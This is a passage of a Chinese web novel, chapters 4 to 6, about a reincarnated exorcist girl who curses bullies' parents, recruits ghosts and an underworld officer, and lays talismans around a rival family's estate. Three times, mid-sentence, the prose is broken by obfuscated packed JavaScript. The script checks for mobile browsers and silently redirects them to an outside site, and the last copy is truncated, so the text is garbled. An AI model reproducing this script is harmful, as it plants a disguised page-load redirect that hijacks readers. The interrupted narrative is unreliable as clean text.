“老螃蟹们,你们以为这是在你们臭水沟?指指点点,张牙舞爪,吓唬住谁啊?”洛宛童一脚踩在黑色矮茶几上,霸道的说,“告诉你们,这事别说你们没完,我也没完!” 说完洛宛童掏出几张黄符,夹在食指与中指之间,上下一甩,黄符便自燃起来,一秒后,黄符燃烧殆尽,好似从没有存在过一样。 但办公室的其他人可不会觉得自己眼花,尤其在他们想要张口嘲讽指责洛宛童,却发现自己张不开口时,齐刷刷惊恐的表情愉悦了洛宛童。 洛宛童双手一摊,嚣张的说:“喜欢我给的礼物吗,老螃蟹们?” 被“亲切”询问的家长们好不容易推开朱校长挣扎着爬起来,却发现上下嘴唇像胶水黏住般张不开。剧痛从被砸中的部位蔓延,可他们已然顾不上,慌乱无措地挥舞手臂,比比划划——活像一群演砸了默剧的小丑。 洛宛童:“我还是太善良了,这样骂我,都没要你们的命。” 这些家长们登时惊惧的后退,他们毫不怀疑洛宛童的话,都能让他们一群人嘴巴都张不开,神不知鬼不觉的送他们去死又有何难呢。 这绝对是妖术! 妈呀,妖怪啊! 这些来之前信心十足绝对能为自家孩子讨一个公道的家长们如出笼的猪仔一哄而散,争先恐后的夺门而逃。 朱校长自然也是张不开口中的一员,他满头的大汗令他变成猪刚鬣,但他无处可逃,重要的是他不敢逃。 本来之前他还打算压着洛宛童去见闫旭,但现在这个打算被他抛到九天之外。 闫旭可能令他一无所有,但眼前的小祖宗可是能让他灰飞烟灭啊!这神秘莫测的手段,谁不怕啊! 朱校长登时便跪下了,膝盖重重磕到地上,发出“咚”的一声,说不出话,他便发出呜呜咽咽的声音,双手合十向洛宛童拜,速度快的都有残影。 洛宛童恶劣的笑:“猪扒皮,咱们来日方长啊。” 说完,洛宛童扭头离开,一直是背景板的洛鸣意和施凤栖这才如梦初醒,急忙出门去追洛宛童。 就是办公室的地面,真的没铺平,夫妻俩在经过朱校长时都被绊了一跤。 瘫坐在地上的朱校长捂着残留鞋印的手,无声痛苦。 在车开出清河国际高中的大门时,洛宛童喊停一下,洛鸣意停下车。 洛宛童下车,抬头打量正对着大门的这座假山喷泉,水池下方还养着几条红色的锦鲤,水哗哗的流动,声音清澈悦耳,带起的小微风,送出一阵又一阵清新空气。 可惜了。 洛宛童捡起路边的几个小石子,随手扔出,本来生机勃勃的假山喷泉无端丧气了几分。 洛鸣意和施凤栖本就注意着洛宛童,自然也注意到她扔石子的动作,但两个人什么都没说。 回到家,洛宛童叫住洛鸣意和施凤栖,“你们知道了吧。” 洛鸣意和施凤栖脚步一僵,迟疑犹豫的看向洛宛童。 “我其实……” 施凤栖抢先说道:“对了,都这个点了,童童你饿了吧,想吃什么?要不今天妈妈来做,尝尝妈妈的手艺怎么样,就是不知道……” “别遮掩,没意思。”洛宛童用肯定的语气说道,目光直视俩人,“我认为不会有认不出自己孩子的父母,除非不爱。” 在洛宛童明亮如星的眼神下,洛鸣意和施凤栖的所有掩饰显得苍白又无力。 是啊,怎么会有认不出自己孩子的父母呢? 他们的孩子到底是什么样的性格,他们又怎么可能不知道呢。 犀利,张扬,分毫不让,锋芒毕露,这样的孩子很好,但……她不是他们的孩子啊…… 4. 第 4 章 洛宛童瘫在沙发上,躺的歪七扭八十分自在,她拿起一颗刚洗过的红樱桃,边吃边说:“放松点,不是什么大事。” 洛鸣意和施凤栖沉默。 女儿都换人了……不是大事、吗? 洛宛童冲着厨房方向喊道:“阿姨,你先回房间吧。” 厨房里的保姆阿姨这才停下擦了十遍柜台的动作,局促的走出厨房,说:“那我先休息了,有什么事再叫我。” 说完,飞速跑进房间,紧紧关上门。 作为住家保姆,职业守则其中一条便是,主家的事能少听便少听,能不知道便不知道。 她可不想失业。 洛宛童咽下嘴里的樱桃肉,说:“好了,都是自己人,那咱就摊开来说。” “我是洛宛童,灵魂来自另一个……时空?应该是这个词。我那个世界的身份如你们所见,是一名天师。” 洛鸣意和施凤栖欲言又止。 怎么就如他们所见了,他们见啥了? “哦,不过你们可别误会,我来到这具身体可不是什么夺舍,夺舍的事咱不干,那可是要天打雷劈,灰飞烟灭的。我这个准确来说,应该叫回归。”洛宛童详细解释自己和原洛宛童之间的关系。 按照正常发展,根本不会出现两个洛宛童,但不知道灵魂在投胎时出了什么岔子,竟然分裂开,变成了两个灵魂,一个去了古代,成了天师,一个去了现代,成了学生。 但灵魂分裂又不是细胞分裂,还会自己繁殖补充,因此分裂出的两个灵魂都是有缺陷的。 古代世界的灵魂里主管智慧的爽灵这一魂多一些,主管生命和健康的胎光和幽精少一些,现代世界的洛宛童则正好相反。 本来灵魂有异无法投胎,投胎了也活不下来,但古代世界的洛宛童正巧遇上她的师傅绝尘子,绝尘子察觉到这一异象,出手保住她的命,之后更是教她以功德换取活下来的希望。 至于现代世界的洛宛童如何长这么大,古代世界的洛宛童也是回归了才知晓,现代洛宛童身上有天道残留的味道。 本来嘛,古代世界的洛宛童兢兢业业给天道打工,这样维持下去,未尝不能多活几年。但谁让天有不测风云,碰上个大灾,放任不管,得尸横遍野,她能怎么办?只能拼了。 结果用力过猛,小命也搭了进去。不过可能是大难不死必有后福吧,两个灵魂正好有了合并的机会。 真的是什么算都不如天算。 洛宛童抬头往上瞄了一眼。 洛鸣意担忧的问:“这样是不是对你们有很大的影响?” 洛宛童说:“那肯定有影响啊。这边的人也就是你们原来的闺女表现为脑子缓慢、反应迟钝、对外界感知力弱,简单来说就是傻子、白痴。我那边具体表现为三天一小病,五天一大病,走几步就喘,简单来说就是病秧子、短命鬼。” 洛父洛母嘴角抽搐:“……” 倒也不必这么简单。 洛宛童站起身,问:“你们两位还有什么其他的疑问吗?” 洛鸣意和施凤栖迟疑的摇头。 “行,那就解散吧,该睡觉睡觉。” 上楼到自己房间后,洛宛童没有急着开灯,而是走到窗边,一把拉开窗帘,霎时露出一张紧紧贴着窗户玻璃的苍白无色的脸。 “啊!妈呀!” 洛宛童还没尖叫,外面脸的主人反而一蹦三尺高,吓得不轻。 洛宛童木着脸,瞪着死鱼眼便掏出一张符纸,来鬼见状,急忙飞回来,搓着手,语气讨好的说:“大师,您看您,太浪费了不是,我这个小人物哪值得您掏出如此珍贵的黄符来对付呢。” 洛宛童语气毫无波动的说:“炸你放烟花愉悦我,便是这张黄符最高的价值。” 眼看洛宛童要点燃黄符,来鬼趴在窗户上开始哇哇大哭,“大师啊,你可怜可怜我吧,我只是想找回我的记忆,要不然我死不瞑目啊,大师啊......” 洛宛童打断:“你已经死了。” 来鬼一噎,偷瞄一眼洛宛童,然后继续闭着眼睛哭嚎,“哇哇哇,我真的是太可悲了,死了都不知道自己家在哪,连头七都不能回家看看,爹啊,娘啊,是儿子不孝啊......” 洛宛童无法忍受魔音穿耳,打开窗户,抓住来鬼的脚,大力甩出去,再被丢出去的瞬间,来鬼发出自己最后的呐喊:“我王尉程还会回来的!” 预估这一次丢出的距离可以保证让这个鬼出市,洛宛童满意的关窗户,窗边的桂花树却忽然探过来一节树枝,轻轻拍打了几下窗玻璃,发出清脆的声音。 洛宛童感受到上面有熟悉的气息,白它一眼,干脆利落的关上窗户。 上司忽如其来的亲切可是包着屎的糖,谁吃谁傻子,更何况这还是个前上司。好不容易退休了,甭想再拽她打工! 窗外的树枝看着遮的严严实实的窗户,枝头下垂了几分,像被拒绝贴贴的小猫一样,失落的垂下头。 可能是昨天获得的信息量有些大,第二天洛鸣意和施凤栖都起晚了,两个人之前打算的好好的,抽出几天时间好好陪陪自己女儿,同时处理下女儿被霸凌的事。 但现在女儿换……不对,女儿回归……也不对,反正女儿不是之前什么都不懂、任人欺负的性格,两个人一时之间有些不知道和现在全新版本的女儿怎么相处。 洛宛童却非常体贴的对两个人说:“你们不是有正经事要做嘛,该忙就忙去,我一个人呆着挺好。你们要是实在无法拿我当你们女儿看呢,咱们就暂时当一段时间的邻居,我之后抽空搬出去,行吧?” 施凤栖连忙拒绝:“不行不行,你不能搬走,你也是我们的女......女儿。” 这个称呼一开始有些难说出口,但真说出来,施凤栖心中的大石头反而移开了。 施凤栖坚决地说:“你不能搬走,你是我们的女儿,我们是一家人,我们有养育你、照顾你的责任。” 他们两个已经很对不起之前的女儿,不能再对不起这个女儿。 “对,你就是我们的女儿。”洛鸣意扯出一个略微僵硬的微笑,活这么大,他第一次知道原来人真的有灵魂,甚至还能分裂,穿越时空。 要不是昨天在学校亲眼见识了那些神秘莫测的手段,人格分裂都比灵魂分裂可信。 但现在他不得不重新塑造世界观了。 洛宛童挑眉,看了眼两人脸上的黑眼圈。 都这样了,真确定他们能继续当一家人? 洛鸣意认真的说:“童童,我知道现在说我俩对你依旧亲近,昨晚知道的事情对我俩一点影响都没有,很假。但我能说,你是我俩的女儿,这一点无论如何都不会变。” 洛宛童歪头。 施凤栖眼含期待的看着洛宛童。 洛宛童移开对视上的眼睛,佯装不在意的摸摸刘海,“哎呀,随便你们吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237006|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见状,洛鸣意和施凤栖对视一眼,眼中含着笑意。 洛宛童可能意识到自己的别扭,立即转回头,转移话题说:“霸凌的事你们不用管,我会自己报仇。” 洛鸣意和施凤栖张了张嘴,洛宛童抬手制止俩人说话,“我已经决定,这件事你俩插不上手。” 她不亲手整死那群王八蛋,怎么对得起自己! 该死的,他们欺负现代洛宛童,也是在欺负她啊,她从没吃过这样的亏。 施凤栖拍拍洛鸣意的手,示意之后俩人再商量。童童不让他俩参与,他们不会私底下来啊,不至于非要当面较真。 两个人都有着自己的公司,作为公司一把手,两个人其实很忙,确定洛宛童不想要两个人陪着后,两个人挂断不停打来的公司下属电话,决定先回公司处理公务。 两个人离开前,洛宛童掏出准备好的平安符,递给俩人后,迅速低下头喝粥,语气非常随意的说:“平安符,保平安用的,你们要是不想要,扔了就行。” 洛鸣意和施凤栖怎么可能会不喜欢,俩人一接过便紧紧握住。 送走俩人,洛宛童吃完早餐也上楼回了房间,厨房的阿姨这才出来收拾碗筷。 张阿姨端着碗筷,望了望洛鸣意和施凤栖离开的方向。 心中嘀咕,这家的父母可真是失职,一不回来便是十天半个月,自家孩子出那么大事,都不知道好好陪陪,现在又转身忙工作去了。吃饭多好的相处机会啊,都不知道说说话关心关心。 唉,可怜的小闺女哟。 想到洛宛童之前说想吃红烧鱼,张阿姨决定待会就出去买菜,做上三四道大菜。 回到房间的洛宛童扔掉手中的黄符,抱着手机直奔床。 还没等她舒服的躺下,窗户又传来敲击声。 洛宛童火一下子上来,登登登走到窗边,打开窗户,一把折断敲窗户的树枝,然后扔掉,警告道:“再敲,整棵树都砍掉。” 敲敲敲,敲个屁啊敲! 被折断的树枝仿若发出一声“喵呜”声,委委屈屈的收回。 ~ 王尉程无愧于他最后的呐喊,从第二天开始,天天晚上准时在洛宛童窗户外报道。 拉上窗帘倒是能不看他,问题在于窗外那么一大团阴气漂浮着,作为一个天师,这不是纯纯的挑衅! 你一个曾犯过事的小偷,来我这个警察面前不停晃悠,你是何居心? 偏偏洛宛童还有那么点良心,做不到打杀什么坏事都没做的鬼。 僵持几天后,洛宛童一把扯过王尉程,先暴揍他一顿,打得王尉程魂魄都透明了三分,才算勉强出气。 洛宛童抱着手翘着二郎腿,没好气的瞪着跪坐在脚边的王尉程。 一顿打给王尉程的死相都打了出来。 从头到脚都湿漉漉,身上都是泡水发白肿胀的痕迹,和之前对比,无端庞大了一倍,不仅如此,身上还挂有水藻,跪坐在地上,水一滴一滴的往下流。 洛宛童踢他一脚,“恶心谁呢,收起来!” 王尉程委委屈屈的收起,人家也不是故意的,那不是一顿打,给阴气打散了一些,没有多余的阴气维持了嘛。 看王尉程没出息的样子洛宛童都来气,忽然灵光一闪,她有了主意。 站起身,洛宛童看向王尉程,“走,跟我出去一趟。” 王尉程兴奋的起身,是不是要帮他找记忆了? 5. 第 5 章 “哎呀,滚一边去!”洛宛童不耐烦的踢开挤过来的王尉程,没好气的说,“你一个鬼,还怕黑?” 现在是晚上九点,城市的夜生活已经开始,但问题他俩来的地方不在城市夜生活笼罩的范围内,黑漆漆一片倒不至于,但周围没有啥人是真的。 王尉程鬼头鬼脑的打量一圈周围的环境,只有小风吹动树叶发出的簌簌声,他打个哆嗦,急忙飞回来,但不敢再贴着洛宛童,委委屈屈的说:“大师,就因为我做了鬼,才更怕黑啊。” 做人时怕黑是因为怕有鬼,现在知道了真的有鬼,能不害怕吗。 洛宛童:“……” 无言以对。 洛宛童不再搭理他,忽然像察觉到什么似的,她掐指一算,急速向前。 王尉程不敢问去哪,只是一味紧紧跟在洛宛童身边。 最后一人一鬼七拐八拐的到了医院门口。 王尉程探头探脑的看市中心医院的大门,殷勤的夸奖道:“哎哟,你看我这猪脑子,都没想到来医院看看,大师,还得是您。” 洛宛童眉一挑,希望一会儿你还笑得出来。 医院是一个24小时都很繁忙的地方,而ICU绝对是见证死亡最多的地方,洛宛童直奔目的地,在这里看到了要找的目标。 但王尉程一看到洛宛童要找的目标,都没停稳,一蹦三尺高,夺门而逃。 那是一个浑身上下穿着白衣的鬼,和王尉程一样,面无血色,阴气森森,短发,倒是一张娃娃脸让他阴森的气质减弱了三分。 洛宛童看了一眼白衣鬼面前病床上的人,对白衣鬼说:“哎,帮我个忙。” 飞白回头,手指着自己,不确定的问:“你是在和我说话?” 洛宛童:“怎么,当了无常,耳朵还不好使了?” 飞白不可置信的说:“你知道我是无常,你还这么和我说话?你......你......你太不尊重我了,知不知道你们玄学界的人看到我们无常都是毕恭毕敬的,就你这样说话,谁给你行方便谁是傻子。” 洛宛童嗤笑,“那是那些人废物,我只知道话语权都是靠拳头赢到的!” 飞白的娃娃脸一下子红温了,这还得了,他一个无常哎,被人这么当面挑衅,他不要面子的吗? 当即拿出上面发的专属武器哭丧棒,一甩,上面的铃铛叮当作响,发出的声音震得不远处躲着的王尉程头晕眼花。 洛宛童面不改色,飞白心中泛起嘀咕,不会是碰到硬茬了吧,但别人都当面挑衅,他要是不压回去,这要是传出去,还怎么在职场混,还怎么见同事。如果不能继续嘚瑟、招摇过市,他辛苦几百年考上无常的意义何在? 躲在拐角的王尉程冒出一颗头,偷摸观察,反正一人一鬼他都惹不起,要是情况不对,他转身立马溜。 见铃铛不管用,飞白一甩哭丧棒,飞身冲着洛宛童的脑袋而来,洛宛童脑袋一歪,躲开,接着伸手抓住哭丧棒。 飞白瞪大眼睛看着洛宛童毫发无伤的手,不是,她怎么能徒手碰哭丧棒! 没待飞白想明白,洛宛童薅着哭丧棒大力开始左右甩,哭丧棒另一头的飞白感觉自己在坐大摆锤,魂都要被摇散了。 王尉程的脑袋随着飞白左右摇晃,越看越心惊肉跳,默默缩回脑袋,不敢再看。 这一持续就是半小时。 洛宛童捋捋掉下来的头发,拍拍没有任何土的手,问跪坐在地上鼻青脸肿的飞白,“再问一遍,帮不帮?” 飞白别扭的侧着脸,不看洛宛童,声如细蚊说:“帮。” 洛宛童皱眉,不满意的喝道:“听不清。” 飞白浑身一抖,急忙提高声音:“帮!肯定帮!大佬您有吩咐,我肯定想方设法去办。” 洛宛童满意,喊王尉程,“那个叫……啥来着,你过来。” 王尉程鬼鬼祟祟的冒出个脑袋,指指自己? 意思是叫我? 洛宛童:“不然我叫魂呢。” 王尉程讪讪一笑,赶紧飘过来,乖乖的站着,和小学生似的,手都背起来。 洛宛童指着王尉程对飞白说:“你要帮的忙就是帮他找回生前的记忆。” 飞白这才知道自己有今天一劫的罪魁祸首在这,他眯着眼睛打量一圈王尉程,牢牢记下他的长相。 王尉程瑟瑟发抖,哭丧着脸,求生欲迫使他尝试开口:“大……大师,我……” 洛宛童:“嗯?” 王尉程立马改口,“没事没事,大师,我都听您的。” 洛宛童:“具体你俩自己讨论,唯有一点,不要来找我。” 说完,洛宛童瞟了一眼病床上的人,随口说:“她今天死不了,明天再来吧。” 说完,手一弹,一丝功德被送入病人体内,病人本来越来越微弱的呼吸重新强健起来。 飞白心疼的牙疼眼疼浑身疼,这可是功德灵气啊,一丝都够他送百八十年的魂了,他要是有功德,他还用辛辛苦苦几百年才当上无常嘛。 败家子,太败家了! 人本来一死,救啥救,浪费,纯纯的浪费,给他多好啊。 王尉程也感受到了刚刚那瞬间似乎有什么对他极具吸引力的东西飞过,但他的见识还不足以让他知道那是什么。 病人变换的呼吸让插在她身上的仪器发出滴滴声,立马有一群医生护士进来,但这么多人,却无一人看到病房里的洛宛童,甚至在经过洛宛童所在地方时,不经意间便绕了开来。 飞白掏出一个透明屏幕的手机,一拿出来便弹出一个屏幕,上面写着:张有枝,2024年10月17日,22:46:37,在申扈市中心医院死亡,享年62岁。 但下一秒,屏幕刺啦一下,上面字便变成:2024年10月18日,22:46:37,在申扈市中心医院死亡,享年62岁。 飞白倒吸口凉气,完辽完辽,第一回出任务,便出岔子,这要评个“极差”,职业生涯一下暗淡了,这还能升职加薪嘛。 不知道回去写个申明书能不能免除,回去问问路运,他肯定有经验。 想到这,飞白便气不顺,眯眼甩着哭丧棒。 王尉程恨不得缩成一团,讨好的说:“无常大人,我……我其实自己也能找记忆。” 飞白眼睛一亮,随即否决:“不行,我都答应那个……那个女人了,做鬼也得言而有信。” 王尉程欲哭无泪,既然您都知道,就不要拿哭丧棒吓唬我了吧。 洛宛童手插兜,慢悠悠往医院外走,在经过前台时,晚上值班的两个护士低声说着小话。 年龄偏大的护士对年轻一些的护士说:“哎,小丽啊,你听没听说那个地方的稀罕事?” 手往VIP病房的方向指了指。 叫小丽的护士心领神会,打量一圈,确认没有人可以听到两人的对话,才小声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237007|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“我咋会不知道呢,春姐。丫丫不是在VIP病房值班嘛,前几天我俩一起吃饭时,她和我说了。” “妈呀,可真吓人,那么多人愣是张不开嘴了,水都灌不进去,要不是看他们一个个痛苦的样子不像装的,我都怀疑他们来医院搞事来了。” 春姐赞同:“可不呢,还有他们的孩子,一个个和犯太岁似的,不是喝水呛到,就是东西砸到,挂瓶水插针都得插五六次,那可是咱医院手最稳的老护士。” “不止呢。”小丽说,“丫丫告诉我,那几个小年轻天天晚上大喊大叫,说是做噩梦了,问他们做啥噩梦了,他们说不出来。后面他们怕的连闭眼睛都不敢,生怕自己睡着。” “我觉得啊春姐,他们指定是冒犯哪路大神了,你不觉得这种状况根本不能用科学解释嘛。” 春姐连忙双手合十朝四方拜拜,“有怪莫怪,有怪莫怪。” 拍小丽一下,春姐害怕的说:“不说了,越说越渗人。” 小丽打个哆嗦,也有些害怕,遮掩的开始忙工作。 洛宛童听的嘴角上扬,心满意足的回家。 只是这点程度而已,还不够。 * 连续五六天不得安眠,闫旭脸上挂着大大的黑眼圈,整个人憔悴又苍老,他小心翼翼抬手,没有磕到哪里,他才放心的松口气,指着俩助理,“给洛宛童的爸妈找点麻烦。” 依旧是一男一女两个助理,但男助理却换了人。 女助理为难,但她不敢反驳闫旭,只能犹疑的应下:“好的,少爷,我会向闫总汇报。” 睡不好致使闫旭的脾气越发暴躁,听女助理说完,闫旭想都没想,拿起面前小桌板的水杯便想砸向她。 女助理瞳孔紧缩,但不敢躲,哪怕被砸中后成淤青,都一动不敢动。 但还没等闫旭扔出来,他的另一只手却先一步Duang的撞在小桌板上,瞬间令本就青黑的手上又多个淤青。 闫旭疼的骂娘:“妈的!” 女助理眼中闪过欣喜,机灵的说:“少爷,我去给你叫医生。” 说完,一溜儿烟跑出去,留下局促不安的男助理。 闫旭没好气的摆手,“滚滚滚,你也滚!” 男助理欣喜若狂,赶紧跑走。 病房只留下闫旭一人,他看着两只青黑的手,都是这阵子磕碰出来的,不止是手上,身上也没少磕碰,他都怀疑,要不是现在人在医院,估计命都没了。 闫旭眼中闪过狠厉,拿起一旁桌上的手机,打通电话后,不待对面说话,他先一步提出自己的要求:“我要洛宛童的爸妈倒霉!” 对面不知道说了什么,闫旭语气坚决地说:“我不管,你如果做不到别怪我找其他人。” 最后对面应该是答应下来,闫旭才满意的放下电话。 但还没等闫旭放松的躺靠下,一抬眼却看到不知道什么时候挂的水回血了,已经回许多血了,闫旭感觉自己脑袋都有点晕乎。 于是等女助理找来医生,闫旭已经晕了过去。 病房一阵兵荒马乱。 第二天 翎裳华饰公司,施凤栖正认真画着下一年春季的最新款,助理却脚步匆匆地推门进来,“施总,那家最新款布料的厂家刚打电话来说他们家无法按时交货了,怎么办?” 羲和科技 刚刚上班的点,消防大队的车和税务局的车一齐停在了楼下。 6. 第 6 章 申扈市松江区,是申扈市高端别墅区聚集地,周围设施齐全,依山傍水,风景优美。在这里的别墅根本不愁卖,九阙云台便是其中一个别墅群。 主打新中式风格,里面每一座别墅都有专属自己的名字,洛宛童家便在这里,叫云栖竹境,顾名思义便是以竹子为主题。 别墅后方的花园里种植了一片竹林,层层叠叠的中央摆着石桌,在竹子葱荣繁茂时,坐在竹下休憩,听着风略过竹稍发出的沙沙声。 “颇有文人雅士之风。” 洛宛童仰躺在躺椅上,阳光穿梭于竹叶之间,掉落于洛宛童的脸上,形成斑驳光影,此情此景倒是闲适,但她摇头感叹,可惜啊,她天生不是做文人雅士的料。 她坐起身,石桌上摆着一个果盆,里面错落有致摆放着切好的水果,果盆一侧放着不足手掌长度的叉子。 这个果盆是张阿姨临走前给洛宛童放的。 张阿姨是住家保姆,本来她很纠结自己该如何说请假的事,毕竟主家有一个还在上学的孩子,父母常年不着家,她要是走了,孩子怎么吃饭? 但洛宛童很痛快的允了,让张阿姨不必着急,忙完事再回来,她这边不用担心。 亲人离世,是需要有一个好好告别的时间。 于是中午饭洛宛童便得自己想办法解决了。 不过正好,躺太久人会废,正好出门溜达溜达,顺便啊,认认路。 认一认那位对她十分“惦记”的好朋友的家在哪。 你拜访我爹妈,礼尚往来,我也得认识认识你父母不是。 洛宛童拿起叉子,随手飞出,便削掉一段竹节,她上前捡起,摸着整齐平整、无痕无刮的竹子,很满意。 多好的材料啊,甚至还有前上司残留的味儿。 端上果盆,洛宛童返回屋子。 竹林里被削掉一节的竹子弯腰,探头探脑的看向洛宛童离开的方向,正巧轻风吹来,别的竹子都在沙沙作响,唯有它,响声微弱。 半晌后,竹子直起,似乎一切如常。 * 羲和科技 “洛总,消防和税务的人已经走了。”洛鸣意的助理梁瑞意在送走人后,立即回办公室向洛鸣意汇报。 洛鸣意从手机中抬起头,摘下眼镜,轻柔眼间,盯手机太久,眼睛便酸乏疲惫。 梁瑞意做了洛鸣意五六年的助理,一毕业就跟着洛鸣意干,在羲和科技,他是铁板钉钉的洛鸣意心腹。 梁瑞意奇怪,“洛总,这一次消防和税务的人怎么忽然来咱这?” 是哪方人给他们使得绊子。 要知道他们羲和科技虽然在申扈市算不上力压一众公司的大型集团,但因为他们主营方向和手里的技术,很得政府看好。 人工智能可是未来的发展方向,他们公司明眼人都看得出来是优质产业,将来未必不会成为庞然大物。 对政府来说,手下有一个跟着国家政策走的优良企业,可是政绩。 再加上他们公司又不是在政府里没人,怎么会忽然来人查。 洛鸣意眼中闪过冷意,他早在查到带头霸凌童童的人是谁家孩子时,便有了心理准备。 闫家。 是个不小的势力,就是家风不好,走不长久。 洛宛童也这样觉得。 闫家是单独的宅子,在云雾山上。 云雾山是申扈市唯一一座自然山林胜地,分三部分,中西东,中西对外开放,唯有东部禁止外人进入。中部是天文观测点,顶端是天文博物馆,西部是著名游者徐弘祖万里之行的起步点,此处盛产的竹笋因独具兰花幽香,被人雅称兰笋。 在松江区有这么一句话,“近一寸云雾山,高一层玉台阶。” 这个玉也是金玉的玉。 而闫家的宅子,不仅在云雾山,还在云雾山不开放的东部。 洛宛童站在门口都望不见里面的房屋,大门口还坐着两座石狮子,雄狮踏球,雌狮抚幼,神形兼备,灵气毕现。 她上前摸了摸两只石狮,安抚的说:“两位坐这平白染晦气,扰了清净,也坏了功德,今日我便助两位解脱。” 说着手起势,夹着雕刻过的竹符抹过两只狮子的眼睛,意为暂闭双目,这样不论洛宛童对它们看护的主家做了什么,都不算它们失职。 佛家为啥有半闭微睁眼睛的菩萨?还不是因为有不想看到的事情,所以才闭了眼睛嘛。睁一只眼闭一只眼,你给我行方便,我不让你为难,都是人情世故。① 走完流程,洛宛童再掏出几片竹符,想了想,她放了回去,换成黄符。 接着便开始掐指算方位,最后一共四十九枚黄符,都被埋在闫家周围。 埋完后,洛宛童正好走回两只石狮身边,她埋的符会结成复合风水阵,作用嘛自然是为了让闫家找回本心,高高在上太久,会失了人性。 如何找回? 回到最初便能找回。 还差最后一步。 洛宛童拍拍雌狮身边的幼狮,旋即飞出一道透明的小狮子身影,它欢快的绕着洛宛童飞舞几圈,甚至还凑到洛宛童的脸侧蹭了蹭。 洛宛童眼睛微弯,笑着说:“好了,带上你父母一起走吧。” 小狮子站定,头部高高仰起,四肢撑开,身体前倾,张大嘴巴露出尖利的牙齿,一声稚嫩却已具备王霸之气的吼声响起。 吼完,小狮子炯炯有神的大眼睛看向洛宛童,洛宛童再度摆了摆手。 小狮子这才依次飞向两座大石狮,飞过一座便有一只成年狮子的身影飘出,最后一家三口齐聚,绕尾打闹,缠绵不尽。 待三只狮子都飞出,本望而生威的闫家宅子忽然阴森起来,刁朽之味扑面而来。 洛宛童看看天色,已是夕阳西下之景,鎏金琥珀,赤炎余烬,归巢飞鸟略过云絮。 明天又是一个好天气。 这样的好日子,闫家看一眼就少一眼了。 洛宛童转身,在走出三步后,刚刚缠绵交流感情的一家三口飞到洛宛童身前,落在地上,齐齐低头曲肢,跪地一拜。 洛宛童停住脚步,看着一家三口,“你我两不相欠,不必拜我。” 说完,绕过一家三口,径直离去。 留在原地的一家三口却没有起身,直至最后余晖被大地吞没,如小狮子刚刚的身形动作一样,两只大狮子同样仰天一啸,这一声是真正的王霸怒吼。 吼完郁气,一家三口头也不回的飞向天边消失不见。 * 申扈市中心医院,ICU病房。 飞白掏出透明屏幕的手机,看看时间,21:40,还有的等。 王尉程小声问飞白:“飞白大人,这手机叫啥牌子啊?是咱地府通用的吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15237008|166149||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他昨天看到就想问了,看着好高级好炫酷,比阳间用的手机看着高端多了。 飞白得意的摇摇手机,炫耀说:“这是小冥通,地府鬼手一个,你没有这个,别的鬼都不稀得和你玩,我这还是最新款。” 最关键的是他这个是路运给的,不花钱。 不花钱啊! 说着,飞白问:“你是不是还没去地府看过呢?” 王尉程瑟缩的摇头,他不敢去,他怕去了就回不来了。 飞白点头,“我觉得也是。” 飞白也不问为啥王尉程不去地府,这样的鬼他见多了,无非是有自己的执念,各有各的理由。 两个人在这边百无聊赖的等着,那边病床前,张有枝的家人都围在床边。 他们都是昨天张有枝清醒后,医生打电话通知过来的,本来气息微弱的病人忽然清醒,且神志清晰,吐字清楚。 这不是神迹。 医生在检查完张有枝的身体后更加确认不是奇迹。 张玉梅坐在最跟前,说:“大姐,等你好了,咱们姐妹俩一起去看看升旗,咱也打扮打扮,学年轻小姑娘多拍点好看的照。” 张有枝嘴角含笑,伸出皱巴巴的手,粗糙且伤痕累累,这样的手摸人脸时带着轻微刺痛感,但张玉梅却紧紧捂住。 要带大五个弟妹的手怎么可能是光滑柔嫩的手呢。 张有枝嗔怪:“都老了,再打扮都没有人家小姑娘拍出来的照片好看。” 张玉梅连连摇头,“咋会呢,大姐你长得俊,哪怕老了也是个俊老太太,再说,你咋老了,才六……六十……” 张玉梅说到后面都哽咽起来,对啊,才六十,咋就人要走了呢…… 张有枝摸着张玉梅的头,倒是非常乐观:“哭啥,大姐可有功,到下面能抬头挺胸见咱爹妈,指不定啊,还能享受享受爹妈的疼爱。爹妈疼我18年,你们都比不上我,现在大姐下去还能继续让爹妈疼。” “大姐啊,太占便宜了……” 声音越来越低,张玉梅感觉握着的手逐渐无力,惊慌的抬头,便看到张有枝已然闭上眼睛。 张玉梅惊慌失措的喊:“大姐!” 病房里的其他人慌张去叫医生,但在医生检查完宣告人已经死亡后,霎时,病房里哭声一片。 人降世第一声啼哭宣告自己的到来,最后也便伴着啼哭声离开。一头一尾,都有人挂念。 飞白牵着张有枝的魂,问王尉程:“我要先送她下去,你去吗?” 王尉程急忙后退,连连摇头,生怕摇的慢了,飞白给他带下去。 飞白翻个白眼。 